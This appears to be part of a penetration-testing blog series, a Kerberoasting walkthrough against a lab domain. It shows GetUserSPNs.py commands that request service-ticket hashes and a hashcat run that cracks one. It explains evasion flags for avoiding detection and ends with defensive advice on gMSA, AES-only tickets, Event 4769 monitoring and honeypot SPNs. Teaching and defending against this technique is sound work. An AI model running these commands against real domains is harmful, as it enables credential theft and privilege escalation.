Impacket Deep Dive Part 4: Kerberoasting with GetUserSPNs

Part 3 got a crackable hash out of svc-legacy-scan because that one account had pre-authentication disabled. This post covers the technique that works even when every account in the domain has pre-auth correctly enforced — Kerberoasting, against CONTOSO\svc-backup, the account Part 2’s GetADUsers.py output showed carrying a registered servicePrincipalName.

What an SPN actually is, and why it matters

A Service Principal Name is how Kerberos identifies which service a client wants a ticket for — MSSQLSvc/FS01.CONTOSO.LOCAL:1433 tells the KDC “I want a ticket for the SQL Server running on FS01.” When a client requests that ticket (a TGS-REQ, using a TGT it already legitimately holds from a normal logon), the KDC’s reply — the service ticket — is encrypted with a key derived from the service account’s own password hash, not the requesting user’s.

That’s the entire vulnerability in one sentence: any authenticated domain user can request a service ticket for any account with a registered SPN, no special privilege required, and the ticket that comes back is protected only by that service account’s password. Crack the ticket offline, recover the service account’s password. Unlike AS-REP roasting, there’s no flag to unset here — this is Kerberos’s actual design, working exactly as intended. The only real-world defense is making the password itself uncrackable.

Running it

GetUserSPNs.py’s current syntax, verified against the same v0.13.1 install used throughout this series:

usage: GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN]
                      [-no-preauth NO_PREAUTH] [-stealth] [-machine-only]
                      [-usersfile USERSFILE] [-request]
                      [-request-user username | -request-machine machinename]
                      [-save] [-outputfile OUTPUTFILE] [-no-rc4] [-ts]
                      [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-dc-ip ip address]
                      [-dc-host hostname]
                      target

Queries target domain for SPNs that are running under a user account

As j.reyes — the same standard, unprivileged foothold account from every prior post in this series:

$ GetUserSPNs.py CONTOSO.LOCAL/j.reyes:'Summer2026!' -dc-ip 10.10.30.10
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName          Name         MemberOf                     PasswordLastSet     LastLogon  Delegation
-----------------------------  -----------  ---------------------------  ------------------  ---------  ----------
MSSQLSvc/FS01.CONTOSO.LOCAL:1433  svc-backup   CN=Backup Operators,...       2024-01-08 10:03    2025-11-02

That output alone — no -request needed yet — already confirms svc-backup is Kerberoastable and shows it’s a member of Backup Operators, a built-in group with its own significant privileges (including the ability to bypass file ACLs for backup/restore operations, notably including reading NTDS.dit directly on a DC, relevant again in Part 7). Adding -request actually pulls the ticket:

$ GetUserSPNs.py CONTOSO.LOCAL/j.reyes:'Summer2026!' -dc-ip 10.10.30.10 -request -outputfile spns.txt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName              Name        MemberOf                    PasswordLastSet
---------------------------------  ----------  --------------------------  ------------------
MSSQLSvc/FS01.CONTOSO.LOCAL:1433   svc-backup  CN=Backup Operators,...     2024-01-08 10:03

$krb5tgs$23$*svc-backup$CONTOSO.LOCAL$MSSQLSvc/FS01.CONTOSO.LOCAL~1433*$8a3f...  (truncated, saved to spns.txt)

$krb5tgs$23$... is hashcat mode 13100 — RC4-encrypted service tickets, the classic and still most common Kerberoasting format:

$ hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc-backup$...:B4ckup$SQL2024

Session..........: hashcat
Status...........: Cracked

Same story as Part 3: a plausible-looking, policy-compliant password (B4ckup$SQL2024), assigned once, never rotated, now recovered offline with zero interaction against the domain controller beyond the single legitimate-looking TGS request.

The flags that matter beyond the basic run

-request-user svc-backup narrows the request to one specific account instead of every SPN-bearing user in the domain — useful for staying quiet on a large domain where roasting everything at once is a very loud, very fast burst of TGS-REQs. -machine-only flips the LDAP filter to target computer accounts instead — every domain-joined machine has an implicit SPN (HOST/hostname), and while machine account passwords are normally 120-character random values that no wordlist will ever crack, this flag exists for domains where that assumption has been broken by a Set-ADAccountPassword mistake or a legacy machine account creation script.

-stealth drops the (servicePrincipalName=*) filter from the LDAP query entirely, relying instead on a full user-object walk filtered client-side — slower, but avoids the specific LDAP filter string that some detection content keys on directly. -no-rc4 forces AES-only ticket requests, relevant to the defensive section below: if the domain has correctly configured AES-only SPNs, this flag is what lets an assessor confirm that the RC4 downgrade path is actually closed, rather than just assumed closed.

Why “the password just needs to be weak enough to crack offline” is the whole game

Kerberoasting has no online rate limit, no lockout counter, and — because the TGS-REQ that retrieves the ticket is a completely normal, expected Kerberos operation performed constantly by every domain user for every service they touch — it doesn’t stand out in a busy environment the way a wave of failed logons does. The entire attack surface reduces to one question: is svc-backup’s password stronger than what a modern GPU can brute-force offline, at leisure, with no domain lockout policy involved at any point? For any service account with a human-chosen static password, the honest answer in most estates is no.

Defensive notes

Group Managed Service Accounts (gMSA) close this outright. A gMSA’s 240-byte auto-rotated password isn’t in any wordlist and isn’t crackable in any realistic timeframe — this is the single highest-leverage fix available and should be the default for any new service account with an SPN. svc-backup migrating to a gMSA removes it from this attack surface entirely, permanently, with no ongoing operational cost.

Force AES, retire RC4. By default, Windows will happily hand out an RC4-encrypted (etype 23) service ticket if the account doesn’t explicitly require AES — and RC4 tickets crack dramatically faster than AES-256 ones for the same password strength. Setting msDS-SupportedEncryptionTypes to AES-only per account (or domain-wide via the Network security: Configure encryption types allowed for Kerberos GPO) forces every Kerberoasting attempt into the much slower AES-256 (etype 18) format — it doesn’t stop the technique, but it moves the cracking timeline from hours to, for a genuinely strong password, effectively never.

Detect the volume, not the request. A single TGS-REQ for MSSQLSvc/FS01... is completely normal traffic. A single account requesting service tickets for every SPN-bearing account in the domain within a short window is not — that’s Event ID 4769 (A Kerberos service ticket was requested), and both Microsoft Defender for Identity and most SIEM Kerberoasting detection content key on exactly this: high fan-out of distinct SPNs requested by one client principal in a tight time window, especially when the encryption type field shows RC4 (0x17) requests against accounts that should be AES-only.

Honeypot SPNs. A decoy service account with a registered SPN, never used for anything real, with alerting wired directly to any TGS-REQ against it — a well-established and cheap technique that turns the very first reconnaissance pass of a real intrusion (or a script kiddie’s copy-pasted Kerberoasting one-liner) into an immediate, high-confidence alert, since there is no legitimate reason for that specific SPN to ever be requested.

Next: Part 5, the tool the original brief for this series named first — ntlmrelayx.py — and how it takes a coerced authentication attempt and turns it into administrative access without ever cracking a single password.